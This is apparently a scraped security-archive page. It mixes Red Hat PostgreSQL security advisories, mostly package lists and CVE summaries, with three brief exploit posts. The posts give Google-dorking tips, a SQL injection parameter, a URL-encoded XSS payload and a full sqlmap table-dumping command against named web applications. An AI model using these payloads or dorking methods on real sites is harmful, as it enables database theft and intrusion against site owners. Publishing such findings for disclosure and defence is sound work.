pg_repack-debuginfo-1.4.6-3.module+el8.5.0+11354+78b3c9c5.ppc64le.rpm  
pg_repack-debugsource-1.4.6-3.module+el8.5.0+11354+78b3c9c5.ppc64le.rpm  
pgaudit-1.4.0-5.module+el8.5.0+11354+78b3c9c5.ppc64le.rpm  
pgaudit-debuginfo-1.4.0-5.module+el8.5.0+11354+78b3c9c5.ppc64le.rpm  
pgaudit-debugsource-1.4.0-5.module+el8.5.0+11354+78b3c9c5.ppc64le.rpm  
postgres-decoderbufs-0.10.0-2.module+el8.5.0+11354+78b3c9c5.ppc64le.rpm  
postgres-decoderbufs-debuginfo-0.10.0-2.module+el8.5.0+11354+78b3c9c5.ppc64le.rpm  
postgres-decoderbufs-debugsource-0.10.0-2.module+el8.5.0+11354+78b3c9c5.ppc64le.rpm  
postgresql-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-contrib-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-contrib-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-debugsource-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-docs-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-docs-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-plperl-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-plperl-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-plpython3-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-plpython3-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-pltcl-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-pltcl-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-server-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-server-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-server-devel-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-server-devel-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-static-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-test-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-test-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-upgrade-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-upgrade-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-upgrade-devel-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm  
postgresql-upgrade-devel-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.ppc64le.rpm

s390x:  
pg_repack-1.4.6-3.module+el8.5.0+11354+78b3c9c5.s390x.rpm  
pg_repack-debuginfo-1.4.6-3.module+el8.5.0+11354+78b3c9c5.s390x.rpm  
pg_repack-debugsource-1.4.6-3.module+el8.5.0+11354+78b3c9c5.s390x.rpm  
pgaudit-1.4.0-5.module+el8.5.0+11354+78b3c9c5.s390x.rpm  
pgaudit-debuginfo-1.4.0-5.module+el8.5.0+11354+78b3c9c5.s390x.rpm  
pgaudit-debugsource-1.4.0-5.module+el8.5.0+11354+78b3c9c5.s390x.rpm  
postgres-decoderbufs-0.10.0-2.module+el8.5.0+11354+78b3c9c5.s390x.rpm  
postgres-decoderbufs-debuginfo-0.10.0-2.module+el8.5.0+11354+78b3c9c5.s390x.rpm  
postgres-decoderbufs-debugsource-0.10.0-2.module+el8.5.0+11354+78b3c9c5.s390x.rpm  
postgresql-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-contrib-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-contrib-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-debugsource-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-docs-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-docs-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-plperl-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-plperl-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-plpython3-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-plpython3-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-pltcl-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-pltcl-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-server-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-server-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-server-devel-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-server-devel-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-static-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-test-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-test-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-upgrade-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-upgrade-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-upgrade-devel-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm  
postgresql-upgrade-devel-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.s390x.rpm

x86_64:  
pg_repack-1.4.6-3.module+el8.5.0+11354+78b3c9c5.x86_64.rpm  
pg_repack-debuginfo-1.4.6-3.module+el8.5.0+11354+78b3c9c5.x86_64.rpm  
pg_repack-debugsource-1.4.6-3.module+el8.5.0+11354+78b3c9c5.x86_64.rpm  
pgaudit-1.4.0-5.module+el8.5.0+11354+78b3c9c5.x86_64.rpm  
pgaudit-debuginfo-1.4.0-5.module+el8.5.0+11354+78b3c9c5.x86_64.rpm  
pgaudit-debugsource-1.4.0-5.module+el8.5.0+11354+78b3c9c5.x86_64.rpm  
postgres-decoderbufs-0.10.0-2.module+el8.5.0+11354+78b3c9c5.x86_64.rpm  
postgres-decoderbufs-debuginfo-0.10.0-2.module+el8.5.0+11354+78b3c9c5.x86_64.rpm  
postgres-decoderbufs-debugsource-0.10.0-2.module+el8.5.0+11354+78b3c9c5.x86_64.rpm  
postgresql-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-contrib-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-contrib-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-debugsource-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-docs-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-docs-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-plperl-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-plperl-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-plpython3-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-plpython3-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-pltcl-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-pltcl-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-server-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-server-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-server-devel-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-server-devel-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-static-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-test-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-test-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-upgrade-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-upgrade-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-upgrade-devel-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm  
postgresql-upgrade-devel-debuginfo-12.15-1.module+el8.8.0+19427+d1071523.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-41862  
https://access.redhat.com/security/cve/CVE-2023-2454  
https://access.redhat.com/security/cve/CVE-2023-2455  
https://access.redhat.com/security/updates/classification/#moderate

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk0k9CAAoJENzjgjWX9erEE1sP+wTqIUW8IoSarpOGvtnKOyF2  
bi5RtyUYPYuhIqaKCK2UsPG3nDm22Icm+BGg4DlyVKm7nDNOEqn9zZ5yVIhhdj6u  
Y3XgfCQ73qIp4S5Kk2/EamjkW+qApav//KwvtYsAKnRSdehnsoPITXyrP6CvNecq  
nDstngk4YXYZmSSWf9+G4qcrW2KYE9ZXb3Y9neDlps+tllMHtCkDll/yovbCsDAl  
TmvUC/rspIlQT0ORUtzbDF6UxbxRNObshQb8eIv/5dEEFi0vhpaBHSEc02qkAmwt  
YEUK6PmOuMnG+t2MmY9qU2JIAWIolhj1mrW+9t0QEtQwnRe3WAdC/u6L6Y8A+Vaq  
su0qGiDIzxucA9GEZaLEwcgFF0oHQGy1bAlosmrfd72J22c1CrGLhUalHX48OC/K  
Uvi1hQjtldMkfjPPcFf1HAQQxdHdmPciYfAGK4cNQtSN2BDTxmXbqZ88MI/K40OZ  
ljQ33r0vAY5JT92wK9H2ywPPua8hvyfwPx3kCRWjkyJRi+pYUlmDMFfnl0bRQPdF  
Kg82S2EgDFm1UJ5+FKQYsG1DiWrpyKn5A2QaNzTdJRSHME7y2AwlrDWyYZs8RRPT  
UMURHrR5A5m0PLrdBTCfHb9HntQ2llqqdzGnD18AcU/gAUBxWfTSR9Xwa9g4QVHQ  
rsj1k41v/v4CYSXYiSOq  
=VOC5  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4535-01

Virtues cpanelCMS version 1.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : Virtues cpanelCMS v1.0 sql injection Vulnerability                                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.3(32-bit)                                             || # Vendor    : http://www.virtues.ag/                                                                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /index/noticia_integra.php?id_clipping=[+] http://wospluralorg/index/noticia_integra.php?id_clipping= inject herGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

Virtues cpanelCMS 1.0 SQL Injection

Voodoo Chat version 1.3 suffers from a cross site scripting vulnerability.

**Voodoo Chat 1.3 Cross Site Scripting**

Posted Aug 8, 2023

Authored by indoushka

Voodoo Chat version 1.3 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 11f7a2efbdf14e9500b0a6e971a896bbac171caeed20cc661f2b4ad1b5c02e2e

Download | Favorite | View

**Voodoo Chat 1.3 Cross Site Scripting**

    ====================================================================================================================================| # Title     : Voodoo Chat v1.3 XSS Vulnerability                                                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.3(32-bit)                                             || # Vendor    : http://www.swalif.net/softs/swalif30/softs258256/#post1850068                                                      |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /pictures.php?action=add&session=1%27%22%28%29%26%25%3CScRiPt%20%3Eprompt%28958119%29%3C/ScRiPt%3E&smile_id=0[+] http://127.0.0.1/groupsyriacom/chat/pictures.php?action=add&session=1%27%22%28%29%26%25%3CScRiPt%20%3Eprompt%28958119%29%3C/ScRiPt%3E&smile_id=0Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,913)
*   Arbitrary (16,188)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,273)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,342)
*   DoS (23,412)
*   Encryption (2,369)
*   Exploit (51,815)
*   File Inclusion (4,221)
*   File Upload (972)
*   Firewall (821)
*   Info Disclosure (2,766)
*   Intrusion Detection (892)
*   Java (3,043)
*   JavaScript (858)
*   Kernel (6,666)
*   Local (14,447)
*   Magazine (586)
*   Overflow (12,690)
*   Perl (1,423)
*   PHP (5,141)
*   Proof of Concept (2,338)
*   Protocol (3,601)
*   Python (1,535)
*   Remote (30,747)
*   Root (3,579)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,639)
*   Security Tool (7,883)
*   Shell (3,180)
*   Shellcode (1,214)
*   Sniffer (894)
*   Spoof (2,206)
*   SQL Injection (16,359)
*   TCP (2,404)
*   Trojan (687)
*   UDP (891)
*   Virus (664)
*   Vulnerability (31,763)
*   Web (9,660)
*   Whitepaper (3,749)
*   x86 (962)
*   XSS (17,921)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,922)
*   Debian (6,808)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,407)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (484)
*   RedHat (13,704)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,799)
*   UNIX (9,286)
*   UnixWare (186)
*   Windows (6,568)
*   Other

Voodoo Chat 1.3 Cross Site Scripting

eneblur CMS version 1.0 suffers from a remote SQL injection vulnerability.

**eneblur CMS 1.0 SQL Injection**

Posted Aug 8, 2023

Authored by indoushka

eneblur CMS version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection

SHA-256 | 4d67639c944054e33175ed2e55a36b45439dd449f6e73134fe454cc1d6a7bb71

Download | Favorite | View

**eneblur CMS 1.0 SQL Injection**

    ====================================================================================================================================| # Title     : eneblur CMS 1.0 SQL injection Vulnerability                                                                        || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 115.0.2(64-bit)                                            | | # Vendor    : https://www.eneblur.com/web-application-development.php                                                            |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /journal_details.php?jid= <===== inject here [+] D:\sqlmap>sqlmap.py -u http://127.0.0.1/wenvirobiotechjournalscom/journal_details.php?jid=3 --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --tables -D envirobi_portal_server3Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,913)
*   Arbitrary (16,188)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,273)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,342)
*   DoS (23,412)
*   Encryption (2,369)
*   Exploit (51,815)
*   File Inclusion (4,221)
*   File Upload (972)
*   Firewall (821)
*   Info Disclosure (2,766)
*   Intrusion Detection (892)
*   Java (3,043)
*   JavaScript (858)
*   Kernel (6,666)
*   Local (14,447)
*   Magazine (586)
*   Overflow (12,690)
*   Perl (1,423)
*   PHP (5,141)
*   Proof of Concept (2,338)
*   Protocol (3,601)
*   Python (1,535)
*   Remote (30,747)
*   Root (3,579)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,639)
*   Security Tool (7,883)
*   Shell (3,180)
*   Shellcode (1,214)
*   Sniffer (894)
*   Spoof (2,206)
*   SQL Injection (16,359)
*   TCP (2,404)
*   Trojan (687)
*   UDP (891)
*   Virus (664)
*   Vulnerability (31,763)
*   Web (9,660)
*   Whitepaper (3,749)
*   x86 (962)
*   XSS (17,921)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,922)
*   Debian (6,808)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,407)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (484)
*   RedHat (13,704)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,799)
*   UNIX (9,286)
*   UnixWare (186)
*   Windows (6,568)
*   Other

eneblur CMS 1.0 SQL Injection

Red Hat Security Advisory 2023-4527-01 - PostgreSQL is an advanced object-relational database management system.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Moderate: postgresql:13 security update  
Advisory ID:       RHSA-2023:4527-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4527  
Issue date:        2023-08-08  
CVE Names:         CVE-2023-2454 CVE-2023-2455   
=====================================================================

1. Summary:

An update for the postgresql:13 module is now available for Red Hat  
Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 8) - aarch64, noarch, ppc64le, s390x, x86_64

3. Description:

PostgreSQL is an advanced object-relational database management system  
(DBMS).

Security Fix(es):

* postgresql: schema_element defeats protective search_path changes  
(CVE-2023-2454)

* postgresql: row security policies disregard user ID changes after  
inlining. (CVE-2023-2455)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

If the postgresql service is running, it will be automatically restarted  
after installing this update.

5. Bugs fixed (https://bugzilla.redhat.com/):

2207568 - CVE-2023-2454 postgresql: schema_element defeats protective search_path changes  
2207569 - CVE-2023-2455 postgresql: row security policies disregard user ID changes after inlining.

6. Package List:

Red Hat Enterprise Linux AppStream (v. 8):

Source:  
pg_repack-1.4.6-3.module+el8.5.0+11357+bcc62552.src.rpm  
pgaudit-1.5.0-1.module+el8.4.0+8873+b821c30a.src.rpm  
postgres-decoderbufs-0.10.0-2.module+el8.4.0+8873+b821c30a.src.rpm  
postgresql-13.11-1.module+el8.8.0+19081+0a277c66.src.rpm

aarch64:  
pg_repack-1.4.6-3.module+el8.5.0+11357+bcc62552.aarch64.rpm  
pg_repack-debuginfo-1.4.6-3.module+el8.5.0+11357+bcc62552.aarch64.rpm  
pg_repack-debugsource-1.4.6-3.module+el8.5.0+11357+bcc62552.aarch64.rpm  
pgaudit-1.5.0-1.module+el8.4.0+8873+b821c30a.aarch64.rpm  
pgaudit-debuginfo-1.5.0-1.module+el8.4.0+8873+b821c30a.aarch64.rpm  
pgaudit-debugsource-1.5.0-1.module+el8.4.0+8873+b821c30a.aarch64.rpm  
postgres-decoderbufs-0.10.0-2.module+el8.4.0+8873+b821c30a.aarch64.rpm  
postgres-decoderbufs-debuginfo-0.10.0-2.module+el8.4.0+8873+b821c30a.aarch64.rpm  
postgres-decoderbufs-debugsource-0.10.0-2.module+el8.4.0+8873+b821c30a.aarch64.rpm  
postgresql-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-contrib-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-contrib-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-debugsource-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-docs-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-docs-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-plperl-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-plperl-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-plpython3-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-plpython3-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-pltcl-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-pltcl-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-server-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-server-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-server-devel-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-server-devel-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-static-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-test-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-test-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-upgrade-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-upgrade-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-upgrade-devel-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm  
postgresql-upgrade-devel-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.aarch64.rpm

noarch:  
postgresql-test-rpm-macros-13.11-1.module+el8.8.0+19081+0a277c66.noarch.rpm

ppc64le:  
pg_repack-1.4.6-3.module+el8.5.0+11357+bcc62552.ppc64le.rpm  
pg_repack-debuginfo-1.4.6-3.module+el8.5.0+11357+bcc62552.ppc64le.rpm  
pg_repack-debugsource-1.4.6-3.module+el8.5.0+11357+bcc62552.ppc64le.rpm  
pgaudit-1.5.0-1.module+el8.4.0+8873+b821c30a.ppc64le.rpm  
pgaudit-debuginfo-1.5.0-1.module+el8.4.0+8873+b821c30a.ppc64le.rpm  
pgaudit-debugsource-1.5.0-1.module+el8.4.0+8873+b821c30a.ppc64le.rpm  
postgres-decoderbufs-0.10.0-2.module+el8.4.0+8873+b821c30a.ppc64le.rpm  
postgres-decoderbufs-debuginfo-0.10.0-2.module+el8.4.0+8873+b821c30a.ppc64le.rpm  
postgres-decoderbufs-debugsource-0.10.0-2.module+el8.4.0+8873+b821c30a.ppc64le.rpm  
postgresql-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-contrib-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-contrib-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-debugsource-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-docs-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-docs-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-plperl-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-plperl-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-plpython3-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-plpython3-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-pltcl-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-pltcl-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-server-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-server-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-server-devel-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-server-devel-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-static-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-test-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-test-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-upgrade-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-upgrade-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-upgrade-devel-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm  
postgresql-upgrade-devel-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.ppc64le.rpm

s390x:  
pg_repack-1.4.6-3.module+el8.5.0+11357+bcc62552.s390x.rpm  
pg_repack-debuginfo-1.4.6-3.module+el8.5.0+11357+bcc62552.s390x.rpm  
pg_repack-debugsource-1.4.6-3.module+el8.5.0+11357+bcc62552.s390x.rpm  
pgaudit-1.5.0-1.module+el8.4.0+8873+b821c30a.s390x.rpm  
pgaudit-debuginfo-1.5.0-1.module+el8.4.0+8873+b821c30a.s390x.rpm  
pgaudit-debugsource-1.5.0-1.module+el8.4.0+8873+b821c30a.s390x.rpm  
postgres-decoderbufs-0.10.0-2.module+el8.4.0+8873+b821c30a.s390x.rpm  
postgres-decoderbufs-debuginfo-0.10.0-2.module+el8.4.0+8873+b821c30a.s390x.rpm  
postgres-decoderbufs-debugsource-0.10.0-2.module+el8.4.0+8873+b821c30a.s390x.rpm  
postgresql-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-contrib-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-contrib-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-debugsource-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-docs-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-docs-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-plperl-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-plperl-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-plpython3-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-plpython3-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-pltcl-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-pltcl-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-server-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-server-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-server-devel-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-server-devel-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-static-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-test-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-test-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-upgrade-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-upgrade-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-upgrade-devel-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm  
postgresql-upgrade-devel-debuginfo-13.11-1.module+el8.8.0+19081+0a277c66.s390x.rpm

x86_64:  
pg_repack-1.4.6-3.module+el8.5.0+11357+bcc62552.x86_64.rpm  
pg_repack-debuginfo-1.4.6-3.module+el8.5.0+11357+bcc62552.x86_64.rpm  
pg_repack-debugsource-1.4.6-3.module+el8.5.0+11357+bcc62552.x86_64.rpm  
pgaudit-1.5.0-1.module+el8.4.0+8873+b821c30a.x86_64.rpm  
